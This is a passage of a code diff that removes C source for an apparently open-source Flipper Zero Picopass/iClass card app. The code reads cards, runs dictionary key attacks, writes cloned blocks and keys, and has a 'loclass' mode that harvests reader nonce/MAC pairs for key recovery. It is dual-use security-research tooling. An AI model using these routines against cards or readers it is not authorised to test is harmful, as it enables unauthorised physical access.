ERR_RF_COLLISION) { - FURI_LOG_E(TAG, "rfalPicoPassPollerCheckPresence error %d", err); - return err; - } - - return ERR_NONE; -} - -ReturnCode picopass_read_preauth(PicopassBlock* AA1) { - rfalPicoPassIdentifyRes idRes; - rfalPicoPassSelectRes selRes; - - ReturnCode err; - - err = rfalPicoPassPollerIdentify(&idRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerIdentify error %d", err); - return err; - } - - err = rfalPicoPassPollerSelect(idRes.CSN, &selRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerSelect error %d", err); - return err; - } - - memcpy(AA1[PICOPASS_CSN_BLOCK_INDEX].data, selRes.CSN, sizeof(selRes.CSN)); - FURI_LOG_D( - TAG, - "csn %02x%02x%02x%02x%02x%02x%02x%02x", - AA1[PICOPASS_CSN_BLOCK_INDEX].data[0], - AA1[PICOPASS_CSN_BLOCK_INDEX].data[1], - AA1[PICOPASS_CSN_BLOCK_INDEX].data[2], - AA1[PICOPASS_CSN_BLOCK_INDEX].data[3], - AA1[PICOPASS_CSN_BLOCK_INDEX].data[4], - AA1[PICOPASS_CSN_BLOCK_INDEX].data[5], - AA1[PICOPASS_CSN_BLOCK_INDEX].data[6], - AA1[PICOPASS_CSN_BLOCK_INDEX].data[7]); - - rfalPicoPassReadBlockRes cfg = {0}; - rfalPicoPassPollerReadBlock(PICOPASS_CONFIG_BLOCK_INDEX, &cfg); - memcpy(AA1[PICOPASS_CONFIG_BLOCK_INDEX].data, cfg.data, sizeof(cfg.data)); - FURI_LOG_D( - TAG, - "config %02x%02x%02x%02x%02x%02x%02x%02x", - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[0], - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[1], - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[2], - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[3], - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[4], - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[5], - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[6], - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[7]); - - rfalPicoPassReadBlockRes aia; - rfalPicoPassPollerReadBlock(PICOPASS_SECURE_AIA_BLOCK_INDEX, &aia); - memcpy(AA1[PICOPASS_SECURE_AIA_BLOCK_INDEX].data, aia.data, sizeof(aia.data)); - FURI_LOG_D( - TAG, - "aia %02x%02x%02x%02x%02x%02x%02x%02x", - AA1[PICOPASS_SECURE_AIA_BLOCK_INDEX].data[0], - AA1[PICOPASS_SECURE_AIA_BLOCK_INDEX].data[1], - AA1[PICOPASS_SECURE_AIA_BLOCK_INDEX].data[2], - AA1[PICOPASS_SECURE_AIA_BLOCK_INDEX].data[3], - AA1[PICOPASS_SECURE_AIA_BLOCK_INDEX].data[4], - AA1[PICOPASS_SECURE_AIA_BLOCK_INDEX].data[5], - AA1[PICOPASS_SECURE_AIA_BLOCK_INDEX].data[6], - AA1[PICOPASS_SECURE_AIA_BLOCK_INDEX].data[7]); - - return ERR_NONE; -} - -static ReturnCode - picopass_auth_dict(PicopassWorker* picopass_worker, IclassEliteDictType dict_type) { - rfalPicoPassReadCheckRes rcRes; - rfalPicoPassCheckRes chkRes; - bool elite = (dict_type != IclassStandardDictTypeFlipper); - - PicopassDeviceData* dev_data = picopass_worker->dev_data; - PicopassBlock* AA1 = dev_data->AA1; - PicopassPacs* pacs = &dev_data->pacs; - - uint8_t* csn = AA1[PICOPASS_CSN_BLOCK_INDEX].data; - uint8_t* div_key = AA1[PICOPASS_SECURE_KD_BLOCK_INDEX].data; - - ReturnCode err = ERR_PARAM; - - uint8_t mac[4] = {0}; - uint8_t ccnr[12] = {0}; - - size_t index = 0; - uint8_t key[RFAL_PICOPASS_BLOCK_LEN] = {0}; - - if(!iclass_elite_dict_check_presence(dict_type)) { - FURI_LOG_E(TAG, "Dictionary not found"); - return ERR_PARAM; - } - - IclassEliteDict* dict = iclass_elite_dict_alloc(dict_type); - if(!dict) { - FURI_LOG_E(TAG, "Dictionary not allocated"); - return ERR_PARAM; - } - - FURI_LOG_D(TAG, "Loaded %lu keys", iclass_elite_dict_get_total_keys(dict)); - while(iclass_elite_dict_get_next_key(dict, key)) { - FURI_LOG_D( - TAG, - "Try to %s auth with key %zu %02x%02x%02x%02x%02x%02x%02x%02x", - elite ? "elite" : "standard", - index++, - key[0], - key[1], - key[2], - key[3], - key[4], - key[5], - key[6], - key[7]); - - err = rfalPicoPassPollerReadCheck(&rcRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerReadCheck error %d", err); - break; - } - memcpy(ccnr, rcRes.CCNR, sizeof(rcRes.CCNR)); // last 4 bytes left 0 - - loclass_iclass_calc_div_key(csn, key, div_key, elite); - loclass_opt_doReaderMAC(ccnr, div_key, mac); - - err = rfalPicoPassPollerCheck(mac, &chkRes); - if(err == ERR_NONE) { - memcpy(pacs->key, key, RFAL_PICOPASS_BLOCK_LEN); - break; - } - - if(picopass_worker->state != PicopassWorkerStateDetect) break; - } - - iclass_elite_dict_free(dict); - - return err; -} - -ReturnCode picopass_auth(PicopassWorker* picopass_worker) { - ReturnCode err; - - FURI_LOG_I(TAG, "Starting system dictionary attack [Standard KDF]"); - err = picopass_auth_dict(picopass_worker, IclassStandardDictTypeFlipper); - if(err == ERR_NONE) { - return ERR_NONE; - } - - FURI_LOG_I(TAG, "Starting user dictionary attack [Elite KDF]"); - err = picopass_auth_dict(picopass_worker, IclassEliteDictTypeUser); - if(err == ERR_NONE) { - return ERR_NONE; - } - - FURI_LOG_I(TAG, "Starting system dictionary attack [Elite KDF]"); - err = picopass_auth_dict(picopass_worker, IclassEliteDictTypeFlipper); - if(err == ERR_NONE) { - return ERR_NONE; - } - - return err; -} - -ReturnCode picopass_read_card(PicopassBlock* AA1) { - ReturnCode err; - - size_t app_limit = AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[0] < PICOPASS_MAX_APP_LIMIT ? - AA1[PICOPASS_CONFIG_BLOCK_INDEX].data[0] : - PICOPASS_MAX_APP_LIMIT; - - for(size_t i = 2; i < app_limit; i++) { - if(i == PICOPASS_SECURE_KD_BLOCK_INDEX) { - // Skip over Kd block which is populated earlier (READ of Kd returns all FF's) - continue; - } - - rfalPicoPassReadBlockRes block; - err = rfalPicoPassPollerReadBlock(i, &block); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerReadBlock error %d", err); - return err; - } - - FURI_LOG_D( - TAG, - "rfalPicoPassPollerReadBlock %d %02x%02x%02x%02x%02x%02x%02x%02x", - i, - block.data[0], - block.data[1], - block.data[2], - block.data[3], - block.data[4], - block.data[5], - block.data[6], - block.data[7]); - - memcpy(AA1[i].data, block.data, sizeof(block.data)); - } - - return ERR_NONE; -} - -ReturnCode picopass_write_card(PicopassBlock* AA1) { - rfalPicoPassIdentifyRes idRes; - rfalPicoPassSelectRes selRes; - rfalPicoPassReadCheckRes rcRes; - rfalPicoPassCheckRes chkRes; - - ReturnCode err; - - uint8_t div_key[8] = {0}; - uint8_t mac[4] = {0}; - uint8_t ccnr[12] = {0}; - - err = rfalPicoPassPollerIdentify(&idRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerIdentify error %d", err); - return err; - } - - err = rfalPicoPassPollerSelect(idRes.CSN, &selRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerSelect error %d", err); - return err; - } - - err = rfalPicoPassPollerReadCheck(&rcRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerReadCheck error %d", err); - return err; - } - memcpy(ccnr, rcRes.CCNR, sizeof(rcRes.CCNR)); // last 4 bytes left 0 - - loclass_iclass_calc_div_key(selRes.CSN, (uint8_t*)picopass_iclass_key, div_key, false); - loclass_opt_doReaderMAC(ccnr, div_key, mac); - - err = rfalPicoPassPollerCheck(mac, &chkRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerCheck error %d", err); - return err; - } - - for(size_t i = 6; i < 10; i++) { - FURI_LOG_D(TAG, "rfalPicoPassPollerWriteBlock %d", i); - uint8_t data[9] = {0}; - data[0] = i; - memcpy(data + 1, AA1[i].data, RFAL_PICOPASS_BLOCK_LEN); - loclass_doMAC_N(data, sizeof(data), div_key, mac); - FURI_LOG_D( - TAG, - "loclass_doMAC_N %d %02x%02x%02x%02x%02x%02x%02x%02x %02x%02x%02x%02x", - i, - data[1], - data[2], - data[3], - data[4], - data[5], - data[6], - data[7], - data[8], - mac[0], - mac[1], - mac[2], - mac[3]); - - err = rfalPicoPassPollerWriteBlock(i, AA1[i].data, mac); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerWriteBlock error %d", err); - return err; - } - } - - return ERR_NONE; -} - -ReturnCode picopass_write_block(PicopassBlock* AA1, uint8_t blockNo, uint8_t* newBlock) { - rfalPicoPassIdentifyRes idRes; - rfalPicoPassSelectRes selRes; - rfalPicoPassReadCheckRes rcRes; - rfalPicoPassCheckRes chkRes; - - ReturnCode err; - - uint8_t mac[4] = {0}; - uint8_t ccnr[12] = {0}; - - err = rfalPicoPassPollerIdentify(&idRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerIdentify error %d", err); - return err; - } - - err = rfalPicoPassPollerSelect(idRes.CSN, &selRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerSelect error %d", err); - return err; - } - - err = rfalPicoPassPollerReadCheck(&rcRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerReadCheck error %d", err); - return err; - } - memcpy(ccnr, rcRes.CCNR, sizeof(rcRes.CCNR)); // last 4 bytes left 0 - - if(memcmp(selRes.CSN, AA1[PICOPASS_CSN_BLOCK_INDEX].data, RFAL_PICOPASS_BLOCK_LEN) != 0) { - FURI_LOG_E(TAG, "Wrong CSN for write"); - return ERR_REQUEST; - } - - loclass_opt_doReaderMAC(ccnr, AA1[PICOPASS_SECURE_KD_BLOCK_INDEX].data, mac); - err = rfalPicoPassPollerCheck(mac, &chkRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerCheck error %d", err); - return err; - } - - FURI_LOG_D(TAG, "rfalPicoPassPollerWriteBlock %d", blockNo); - uint8_t data[9] = { - blockNo, - newBlock[0], - newBlock[1], - newBlock[2], - newBlock[3], - newBlock[4], - newBlock[5], - newBlock[6], - newBlock[7]}; - loclass_doMAC_N(data, sizeof(data), AA1[PICOPASS_SECURE_KD_BLOCK_INDEX].data, mac); - FURI_LOG_D( - TAG, - "loclass_doMAC_N %d %02x%02x%02x%02x%02x%02x%02x%02x %02x%02x%02x%02x", - blockNo, - data[1], - data[2], - data[3], - data[4], - data[5], - data[6], - data[7], - data[8], - mac[0], - mac[1], - mac[2], - mac[3]); - - err = rfalPicoPassPollerWriteBlock(data[0], data + 1, mac); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerWriteBlock error %d", err); - return err; - } - - return ERR_NONE; -} - -void picopass_worker_elite_dict_attack(PicopassWorker* picopass_worker) { - furi_assert(picopass_worker); - furi_assert(picopass_worker->callback); - - picopass_device_data_clear(picopass_worker->dev_data); - PicopassDeviceData* dev_data = picopass_worker->dev_data; - PicopassBlock* AA1 = dev_data->AA1; - PicopassPacs* pacs = &dev_data->pacs; - - for(size_t i = 0; i < PICOPASS_MAX_APP_LIMIT; i++) { - memset(AA1[i].data, 0, sizeof(AA1[i].data)); - } - memset(pacs, 0, sizeof(PicopassPacs)); - - IclassEliteDictAttackData* dict_attack_data = - &picopass_worker->dev_data->iclass_elite_dict_attack_data; - bool elite = (dict_attack_data->type != IclassStandardDictTypeFlipper); - - rfalPicoPassReadCheckRes rcRes; - rfalPicoPassCheckRes chkRes; - - ReturnCode err; - uint8_t mac[4] = {0}; - uint8_t ccnr[12] = {0}; - - size_t index = 0; - uint8_t key[RFAL_PICOPASS_BLOCK_LEN] = {0}; - - // Load dictionary - IclassEliteDict* dict = dict_attack_data->dict; - if(!dict) { - FURI_LOG_E(TAG, "Dictionary not found"); - picopass_worker->callback(PicopassWorkerEventNoDictFound, picopass_worker->context); - return; - } - - do { - if(picopass_detect_card(1000) == ERR_NONE) { - picopass_worker->callback(PicopassWorkerEventCardDetected, picopass_worker->context); - - // Process first found device - err = picopass_read_preauth(AA1); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_read_preauth error %d", err); - picopass_worker->callback(PicopassWorkerEventAborted, picopass_worker->context); - return; - } - - // Thank you proxmark! - pacs->legacy = picopass_is_memset(AA1[5].data, 0xFF, 8); - pacs->se_enabled = (memcmp(AA1[5].data, "\xff\xff\xff\x00\x06\xff\xff\xff", 8) == 0); - if(pacs->se_enabled) { - FURI_LOG_D(TAG, "SE enabled"); - picopass_worker->callback(PicopassWorkerEventAborted, picopass_worker->context); - return; - } - - break; - } else { - picopass_worker->callback(PicopassWorkerEventNoCardDetected, picopass_worker->context); - } - if(picopass_worker->state != PicopassWorkerStateEliteDictAttack) break; - - furi_delay_ms(100); - } while(true); - - FURI_LOG_D( - TAG, "Start Dictionary attack, Key Count %lu", iclass_elite_dict_get_total_keys(dict)); - while(iclass_elite_dict_get_next_key(dict, key)) { - FURI_LOG_T(TAG, "Key %zu", index); - if(++index % PICOPASS_DICT_KEY_BATCH_SIZE == 0) { - picopass_worker->callback( - PicopassWorkerEventNewDictKeyBatch, picopass_worker->context); - } - - err = rfalPicoPassPollerReadCheck(&rcRes); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "rfalPicoPassPollerReadCheck error %d", err); - break; - } - memcpy(ccnr, rcRes.CCNR, sizeof(rcRes.CCNR)); // last 4 bytes left 0 - - uint8_t* csn = AA1[PICOPASS_CSN_BLOCK_INDEX].data; - uint8_t* div_key = AA1[PICOPASS_SECURE_KD_BLOCK_INDEX].data; - - loclass_iclass_calc_div_key(csn, key, div_key, elite); - loclass_opt_doReaderMAC(ccnr, div_key, mac); - - err = rfalPicoPassPollerCheck(mac, &chkRes); - if(err == ERR_NONE) { - FURI_LOG_I(TAG, "Found key"); - memcpy(pacs->key, key, RFAL_PICOPASS_BLOCK_LEN); - pacs->elite_kdf = elite; - err = picopass_read_card(AA1); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_read_card error %d", err); - picopass_worker->callback(PicopassWorkerEventFail, picopass_worker->context); - break; - } - - err = picopass_device_parse_credential(AA1, pacs); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_device_parse_credential error %d", err); - picopass_worker->callback(PicopassWorkerEventFail, picopass_worker->context); - break; - } - - err = picopass_device_parse_wiegand(pacs->credential, &pacs->record); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_device_parse_wiegand error %d", err); - picopass_worker->callback(PicopassWorkerEventFail, picopass_worker->context); - break; - } - picopass_worker->callback(PicopassWorkerEventAborted, picopass_worker->context); - break; - } - - if(picopass_worker->state != PicopassWorkerStateEliteDictAttack) break; - } - FURI_LOG_D(TAG, "Dictionary complete"); - if(picopass_worker->state == PicopassWorkerStateEliteDictAttack) { - picopass_worker->callback(PicopassWorkerEventSuccess, picopass_worker->context); - } else { - picopass_worker->callback(PicopassWorkerEventAborted, picopass_worker->context); - } -} - -int32_t picopass_worker_task(void* context) { - PicopassWorker* picopass_worker = context; - - if(picopass_worker->state == PicopassWorkerStateDetect) { - picopass_worker_enable_field(); - picopass_worker_detect(picopass_worker); - } else if(picopass_worker->state == PicopassWorkerStateWrite) { - picopass_worker_enable_field(); - picopass_worker_write(picopass_worker); - } else if(picopass_worker->state == PicopassWorkerStateWriteKey) { - picopass_worker_enable_field(); - picopass_worker_write_key(picopass_worker); - } else if(picopass_worker->state == PicopassWorkerStateEliteDictAttack) { - picopass_worker_enable_field(); - picopass_worker_elite_dict_attack(picopass_worker); - } else if(picopass_worker->state == PicopassWorkerStateEmulate) { - picopass_worker_emulate(picopass_worker, false); - } else if(picopass_worker->state == PicopassWorkerStateLoclass) { - picopass_worker_emulate(picopass_worker, true); - } else if(picopass_worker->state == PicopassWorkerStateStop) { - FURI_LOG_D(TAG, "Worker state stop"); - // no-op - } else { - FURI_LOG_W(TAG, "Unknown state %d", picopass_worker->state); - } - picopass_worker_disable_field(ERR_NONE); - picopass_worker_change_state(picopass_worker, PicopassWorkerStateReady); - - return 0; -} - -void picopass_worker_detect(PicopassWorker* picopass_worker) { - picopass_device_data_clear(picopass_worker->dev_data); - PicopassDeviceData* dev_data = picopass_worker->dev_data; - - PicopassBlock* AA1 = dev_data->AA1; - PicopassPacs* pacs = &dev_data->pacs; - ReturnCode err; - - // reset device data - for(size_t i = 0; i < PICOPASS_MAX_APP_LIMIT; i++) { - memset(AA1[i].data, 0, sizeof(AA1[i].data)); - } - memset(pacs, 0, sizeof(PicopassPacs)); - - PicopassWorkerEvent nextState = PicopassWorkerEventSuccess; - - while(picopass_worker->state == PicopassWorkerStateDetect) { - if(picopass_detect_card(1000) == ERR_NONE) { - // Process first found device - err = picopass_read_preauth(AA1); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_read_preauth error %d", err); - nextState = PicopassWorkerEventFail; - } - - // Thank you proxmark! - pacs->legacy = picopass_is_memset(AA1[5].data, 0xFF, 8); - pacs->se_enabled = (memcmp(AA1[5].data, "\xff\xff\xff\x00\x06\xff\xff\xff", 8) == 0); - if(pacs->se_enabled) { - FURI_LOG_D(TAG, "SE enabled"); - nextState = PicopassWorkerEventFail; - } - - if(nextState == PicopassWorkerEventSuccess) { - err = picopass_auth(picopass_worker); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_try_auth error %d", err); - nextState = PicopassWorkerEventFail; - } - } - - if(nextState == PicopassWorkerEventSuccess) { - err = picopass_read_card(AA1); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_read_card error %d", err); - nextState = PicopassWorkerEventFail; - } - } - - if(nextState == PicopassWorkerEventSuccess) { - err = picopass_device_parse_credential(AA1, pacs); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_device_parse_credential error %d", err); - nextState = PicopassWorkerEventFail; - } - } - - if(nextState == PicopassWorkerEventSuccess) { - err = picopass_device_parse_wiegand(pacs->credential, &pacs->record); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_device_parse_wiegand error %d", err); - nextState = PicopassWorkerEventFail; - } - } - - // Notify caller and exit - if(picopass_worker->callback) { - picopass_worker->callback(nextState, picopass_worker->context); - } - break; - } - furi_delay_ms(100); - } -} - -void picopass_worker_write(PicopassWorker* picopass_worker) { - PicopassDeviceData* dev_data = picopass_worker->dev_data; - PicopassBlock* AA1 = dev_data->AA1; - ReturnCode err; - PicopassWorkerEvent nextState = PicopassWorkerEventSuccess; - - while(picopass_worker->state == PicopassWorkerStateWrite) { - if(picopass_detect_card(1000) == ERR_NONE) { - err = picopass_write_card(AA1); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_write_card error %d", err); - nextState = PicopassWorkerEventFail; - } - - // Notify caller and exit - if(picopass_worker->callback) { - picopass_worker->callback(nextState, picopass_worker->context); - } - break; - } - furi_delay_ms(100); - } -} - -void picopass_worker_write_key(PicopassWorker* picopass_worker) { - PicopassDeviceData* dev_data = picopass_worker->dev_data; - PicopassBlock* AA1 = dev_data->AA1; - PicopassPacs* pacs = &dev_data->pacs; - ReturnCode err; - PicopassWorkerEvent nextState = PicopassWorkerEventSuccess; - - uint8_t* csn = AA1[PICOPASS_CSN_BLOCK_INDEX].data; - uint8_t* configBlock = AA1[PICOPASS_CONFIG_BLOCK_INDEX].data; - uint8_t fuses = configBlock[7]; - uint8_t* oldKey = AA1[PICOPASS_SECURE_KD_BLOCK_INDEX].data; - - uint8_t newKey[RFAL_PICOPASS_BLOCK_LEN] = {0}; - loclass_iclass_calc_div_key(csn, pacs->key, newKey, pacs->elite_kdf); - - if((fuses & 0x80) == 0x80) { - FURI_LOG_D(TAG, "Plain write for personalized mode key change"); - } else { - FURI_LOG_D(TAG, "XOR write for application mode key change"); - // XOR when in application mode - for(size_t i = 0; i < RFAL_PICOPASS_BLOCK_LEN; i++) { - newKey[i] ^= oldKey[i]; - } - } - - while(picopass_worker->state == PicopassWorkerStateWriteKey) { - if(picopass_detect_card(1000) == ERR_NONE) { - err = picopass_write_block(AA1, PICOPASS_SECURE_KD_BLOCK_INDEX, newKey); - if(err != ERR_NONE) { - FURI_LOG_E(TAG, "picopass_write_block error %d", err); - nextState = PicopassWorkerEventFail; - } - - // Notify caller and exit - if(picopass_worker->callback) { - picopass_worker->callback(nextState, picopass_worker->context); - } - break; - } - furi_delay_ms(100); - } -} - -// from proxmark3 armsrc/iclass.c rotateCSN -static void picopass_anticoll_csn(uint8_t* rotated_csn, const uint8_t* original_csn) { - for(uint8_t i = 0; i < 8; i++) { - rotated_csn[i] = (original_csn[i] >> 3) | (original_csn[(i + 1) % 8] << 5); - } -} - -static void picopass_append_crc(uint8_t* buf, uint16_t size) { - uint16_t crc = rfalPicoPassCalculateCcitt(0xE012, buf, size); - - buf[size] = crc & 0xFF; - buf[size + 1] = crc >> 8; -} - -static inline void picopass_emu_read_blocks( - NfcVData* nfcv_data, - uint8_t* buf, - uint8_t block_num, - uint8_t block_count) { - memcpy( - buf, - nfcv_data->data + (block_num * RFAL_PICOPASS_BLOCK_LEN), - block_count * RFAL_PICOPASS_BLOCK_LEN); -} - -static inline void picopass_emu_write_blocks( - NfcVData* nfcv_data, - const uint8_t* buf, - uint8_t block_num, - uint8_t block_count) { - memcpy( - nfcv_data->data + (block_num * RFAL_PICOPASS_BLOCK_LEN), - buf, - block_count * RFAL_PICOPASS_BLOCK_LEN); -} - -static void picopass_init_cipher_state(NfcVData* nfcv_data, PicopassEmulatorCtx* ctx) { - uint8_t cc[RFAL_PICOPASS_BLOCK_LEN]; - uint8_t key[RFAL_PICOPASS_BLOCK_LEN]; - - picopass_emu_read_blocks(nfcv_data, cc, PICOPASS_SECURE_EPURSE_BLOCK_INDEX, 1); - picopass_emu_read_blocks(nfcv_data, key, ctx->key_block_num, 1); - - ctx->cipher_state = loclass_opt_doTagMAC_1(cc, key); -} - -static void - loclass_update_csn(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data, PicopassEmulatorCtx* ctx) { - // collect two nonces in a row for each CSN - uint8_t csn_num = (ctx->key_block_num / 2) % LOCLASS_NUM_CSNS; - memcpy(nfc_data->uid, loclass_csns[csn_num], RFAL_PICOPASS_BLOCK_LEN); - picopass_emu_write_blocks(nfcv_data, loclass_csns[csn_num], PICOPASS_CSN_BLOCK_INDEX, 1); -} - -static void picopass_emu_handle_packet( - FuriHalNfcTxRxContext* tx_rx, - FuriHalNfcDevData* nfc_data, - void* nfcv_data_in) { - NfcVData* nfcv_data = (NfcVData*)nfcv_data_in; - PicopassEmulatorCtx* ctx = nfcv_data->emu_protocol_ctx; - uint8_t response[34]; - uint8_t response_length = 0; - uint8_t key_block_num = PICOPASS_SECURE_KD_BLOCK_INDEX; - - const uint8_t block_ff[8] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; - - if(nfcv_data->frame_length < 1) { - return; - } - - switch(nfcv_data->frame[0]) { - case RFAL_PICOPASS_CMD_ACTALL: // No args - if(nfcv_data->frame_length != 1) { - return; - } - - if(ctx->state != PicopassEmulatorStateHalt) { - ctx->state = PicopassEmulatorStateActive; - } - - // Send SOF only - break; - case RFAL_PICOPASS_CMD_ACT: // No args - if(nfcv_data->frame_length != 1 || ctx->state != PicopassEmulatorStateActive) { - return; - } - - // Send SOF only - break; - case RFAL_PICOPASS_CMD_HALT: // No args - if(nfcv_data->frame_length != 1 || ctx->state != PicopassEmulatorStateSelected) { - return; - } - - // Technically we should go to StateHalt, but since we can't detect the field dropping we drop to idle instead - ctx->state = PicopassEmulatorStateIdle; - - // Send SOF only - break; - case RFAL_PICOPASS_CMD_READ_OR_IDENTIFY: - if(nfcv_data->frame_length == 1 && - ctx->state == PicopassEmulatorStateActive) { // PICOPASS_CMD_IDENTIFY - // ASNB(8) CRC16(2) - picopass_anticoll_csn(response, nfc_data->uid); - picopass_append_crc(response, RFAL_PICOPASS_BLOCK_LEN); - response_length = RFAL_PICOPASS_BLOCK_LEN + 2; - break; - } else if( - nfcv_data->frame_length == 4 && - ctx->state == PicopassEmulatorStateSelected) { // PICOPASS_CMD_READ ADDRESS(1) CRC16(2) - if(nfcv_data->frame[1] >= PICOPASS_MAX_APP_LIMIT) { - return; - } - - // TODO: Check CRC? - // TODO: Check auth? - - // DATA(8) CRC16(2) - if(nfcv_data->frame[1] == PICOPASS_SECURE_KD_BLOCK_INDEX || - nfcv_data->frame[1] == PICOPASS_SECURE_KC_BLOCK_INDEX) { - // Reading Kd or Kc blocks always returns FF's - memcpy(response, block_ff, RFAL_PICOPASS_BLOCK_LEN); - } else { - picopass_emu_read_blocks(nfcv_data, response, nfcv_data->frame[1], 1); - } - picopass_append_crc(response, RFAL_PICOPASS_BLOCK_LEN); - response_length = RFAL_PICOPASS_BLOCK_LEN + 2; - break; - } - - return; - case RFAL_PICOPASS_CMD_READ4: // ADDRESS(1) CRC16(2) - if(nfcv_data->frame_length != 4 || ctx->state != PicopassEmulatorStateSelected || - nfcv_data->frame[1] + 4 >= PICOPASS_MAX_APP_LIMIT) { - return; - } - - // TODO: Check CRC? - // TODO: Check auth? - - uint8_t blockNum = nfcv_data->frame[1]; - - // DATA(32) CRC16(2) - picopass_emu_read_blocks(nfcv_data, response, blockNum, 4); - if(blockNum == 4) { - // Kc is block 4, so just redact first block of response - memcpy(response, block_ff, RFAL_PICOPASS_BLOCK_LEN); - } else if(blockNum < 4) { - // Kd is block 3 - uint8_t* kdOffset = response + ((3 - blockNum) * RFAL_PICOPASS_BLOCK_LEN); - memcpy(kdOffset, block_ff, RFAL_PICOPASS_BLOCK_LEN); - if(blockNum != 0) { - // Redact Kc - memcpy(kdOffset + RFAL_PICOPASS_BLOCK_LEN, block_ff, RFAL_PICOPASS_BLOCK_LEN); - } - } - picopass_append_crc(response, RFAL_PICOPASS_BLOCK_LEN * 4); - response_length = (RFAL_PICOPASS_BLOCK_LEN * 4) + 2; - break; - case RFAL_PICOPASS_CMD_SELECT: // ASNB(8)|SERIALNB(8) - if(nfcv_data->frame_length != 9) { - return; - } - - uint8_t select_csn[RFAL_PICOPASS_BLOCK_LEN]; - if(ctx->state == PicopassEmulatorStateHalt || ctx->state == PicopassEmulatorStateIdle) { - memcpy(select_csn, nfc_data->uid, RFAL_PICOPASS_BLOCK_LEN); - } else { - picopass_anticoll_csn(select_csn, nfc_data->uid); - } - - if(memcmp(nfcv_data->frame + 1, select_csn, RFAL_PICOPASS_BLOCK_LEN)) { - if(ctx->state == PicopassEmulatorStateActive) { - ctx->state = PicopassEmulatorStateIdle; - } else if(ctx->state == PicopassEmulatorStateSelected) { - // Technically we should go to StateHalt, but since we can't detect the field dropping we drop to idle instead - ctx->state = PicopassEmulatorStateIdle; - } - - return; - } - - ctx->state = PicopassEmulatorStateSelected; - - // SERIALNB(8) CRC16(2) - memcpy(response, nfc_data->uid, RFAL_PICOPASS_BLOCK_LEN); - picopass_append_crc(response, RFAL_PICOPASS_BLOCK_LEN); - - response_length = RFAL_PICOPASS_BLOCK_LEN + 2; - break; - case RFAL_PICOPASS_CMD_READCHECK_KC: // ADDRESS(1) - key_block_num = PICOPASS_SECURE_KC_BLOCK_INDEX; - // fallthrough - case RFAL_PICOPASS_CMD_READCHECK_KD: // ADDRESS(1) - if(nfcv_data->frame_length != 2 || - nfcv_data->frame[1] != PICOPASS_SECURE_EPURSE_BLOCK_INDEX || - ctx->state != PicopassEmulatorStateSelected) { - return; - } - - if(ctx->key_block_num != key_block_num && !ctx->loclass_mode) { - ctx->key_block_num = key_block_num; - picopass_init_cipher_state(nfcv_data, ctx); - } - - // DATA(8) - picopass_emu_read_blocks(nfcv_data, response, nfcv_data->frame[1], 1); - response_length = RFAL_PICOPASS_BLOCK_LEN; - break; - case RFAL_PICOPASS_CMD_CHECK: // CHALLENGE(4) READERSIGNATURE(4) - if(nfcv_data->frame_length != 9 || ctx->state != PicopassEmulatorStateSelected) { - return; - } - - if(ctx->loclass_mode) { - // LOCLASS Reader attack mode - - // Copy EPURSE - uint8_t cc[RFAL_PICOPASS_BLOCK_LEN]; - picopass_emu_read_blocks(nfcv_data, cc, PICOPASS_SECURE_EPURSE_BLOCK_INDEX, 1); - - // Check if the nonce is from a standard key - uint8_t key[RFAL_PICOPASS_BLOCK_LEN]; - loclass_iclass_calc_div_key(nfc_data->uid, picopass_iclass_key, key, false); - ctx->cipher_state = loclass_opt_doTagMAC_1(cc, key); - - uint8_t rmac[4]; - loclass_opt_doBothMAC_2(ctx->cipher_state, nfcv_data->frame + 1, rmac, response, key); - - if(!memcmp(nfcv_data->frame + 5, rmac, 4)) { - // MAC from reader matches Standard Key, keyroll mode or non-elite keyed reader. - // Either way no point logging it. - - FURI_LOG_W(TAG, "loclass: standard key detected during collection"); - ctx->loclass_got_std_key = true; - - ctx->state = PicopassEmulatorStateIdle; - return; - } - - // Copy CHALLENGE (nr) and READERSIGNATURE (mac) from frame - uint8_t nr[4]; - memcpy(nr, nfcv_data->frame + 1, 4); - uint8_t mac[4]; - memcpy(mac, nfcv_data->frame + 5, 4); - - FURI_LOG_I(TAG, "loclass: got nr/mac pair"); - loclass_writer_write_params( - ctx->loclass_writer, ctx->key_block_num, nfc_data->uid, cc, nr, mac); - - // Rotate to the next 